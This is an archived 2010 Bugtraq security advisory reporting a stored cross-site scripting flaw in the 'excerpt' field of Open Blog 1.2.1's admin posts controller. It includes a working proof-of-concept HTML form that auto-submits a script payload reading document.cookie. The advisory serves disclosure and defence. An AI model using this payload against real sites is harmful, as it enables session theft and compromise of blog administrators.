bugtraq - XSS vulnerability in Open blog

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Thu, 5 Aug 2010 15:53:48 +0200 (CEST)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: XSS vulnerability in Open blog

Vulnerability ID: HTB22497
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_open_blog.html
Product: Open Blog
Vendor: Tomaž Muraus ( http://www.open-blog.info/ ) 
Vulnerable Version: 1.2.1 and Probably Prior Versions
Vendor Notification: 22 July 2010 
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "/application/modules/admin/controllers/posts.php" script to properly sanitize user-supplied input in "excerpt" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/posts/edit" method="post" >
<input type="hidden" name="title" value="Welcome to Open Blog" />
<input type="hidden" name="excerpt" value='Some text"><script>alert(document.cookie)</script>' />
<input type="hidden" name="content" value="" />
<input type="hidden" name="categories[]" value="1" />
<input type="hidden" name="tags" value="openblog" />
<input type="hidden" name="publish_date" value="13/07/2010" />
<input type="hidden" name="status" value="published" />
<input type="hidden" name="id" value="1" />
<input type="submit" name="submit" id="sbmtit" value="Edit &rsaquo;&rsaquo;" />
</form>
<script>
document.getElementById('sbmtit').click();
</script>